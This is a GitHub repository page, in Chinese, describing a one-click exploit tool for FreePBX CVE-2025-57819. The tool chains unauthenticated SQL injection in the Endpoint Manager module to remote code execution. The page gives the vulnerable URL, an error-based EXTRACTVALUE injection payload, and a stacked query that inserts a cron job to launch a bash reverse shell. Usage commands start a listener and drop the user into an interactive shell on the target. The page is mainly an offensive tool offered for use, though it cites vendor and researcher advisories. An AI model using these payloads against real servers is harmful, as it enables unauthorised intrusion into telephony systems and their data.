b4sh2/CVE-2025-57819-poc

GitHub: b4sh2/CVE-2025-57819-poc

针对 FreePBX CVE-2025-57819 未授权 SQL 注入到 RCE 的自动化一键利用工具,覆盖从漏洞验证到获取交互式 shell 的完整攻击链。

Stars: 6 | Forks: 2

# CVE-2025-57819 — FreePBX 未授权 SQLi → RCE 针对 FreePBX **Endpoint Manager** 未授权 SQL 注入 (CVE-2025-57819) 的一键漏洞利用,并通过 FreePBX 的 `cron_jobs` 表实现链式远程代码执行。 ## 漏洞 Endpoint 模块的 ajax handler 将 `brand` 参数直接拼接到 SQL 查询中,并且模块路径 `FreePBX\modules\endpoint\ajax` 绕过了 ajax Referrer/身份验证检查。这导致了一个 **未授权** 的基于错误的 SQL 注入(通过 `EXTRACTVALUE`),并且启用了 **堆叠查询写入**。 注入点: ``` GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax &command=model&template=x&model=model&brand= ``` 验证(基于错误的回显): ``` brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- - → {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}} ``` **受影响版本:** FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3。 ## RCE 技术 该注入本身是只读的,但堆叠查询允许进行写入操作。FreePBX 通过其 cron 管理器运行 `cron_jobs` 表中的任务,因此插入一行即可实现任意命令执行(大约 60 秒内,计划任务设为 `* * * * *`): ``` INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','','',NULL,'* * * * *',30,1,1); ``` 注入的命令是一个 bash 反向 shell。为了避免重复连接,cron 记录在首次回调后会被自动删除。 ## 环境要求 ``` pip install requests urllib3 ``` Python 3。内置的 IP 自动检测功能 (`-i/--interface`) 仅支持 Linux;在其他平台上请使用 `--ip`。 ## 用法 ``` # 默认设置:interface tun0,port 4444 — 启动 listener,执行 exploits,drops a shell python3 exploit.py http://{target} # 选择不同的 interface / port python3 exploit.py http://{target} -i eth0 -p 9001 # 显式设置 listener IP python3 exploit.py http://{target} --ip 10.10.15.52 python3 exploit.py --help ``` 该脚本执行以下操作: 1. 验证 SQLi(泄露数据库版本)。 2. 在选定端口上启动 TCP 监听器。 3. 注入反向 shell cron 任务并验证记录是否成功写入。 4. 等待约 70 秒的回调,然后将你带入交互式 shell(并自动尝试升级为 PTY)。 5. 清理注入的 cron 记录。 ## 参考 - [Horizon3.ai — 更新的 FreePBX CVE:身份验证绕过与 RCE](https://horizon3.ai/attack-research/vulnerabilities/cve-2025-57819/) - [watchTowr Labs — FreePBX CVE-2025-57819](https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/) - [watchTowr PoC (GitHub)](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819) - [NVD — CVE-2025-57819](https://nvd.nist.gov/vuln/detail/CVE-2025-57819) - [FreePBX 安全公告 GHSA-m42g-xg4c-5f3h](https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h)
标签:CISA项目, Python, 无后门, 编程工具, 远程代码执行, 逆向工具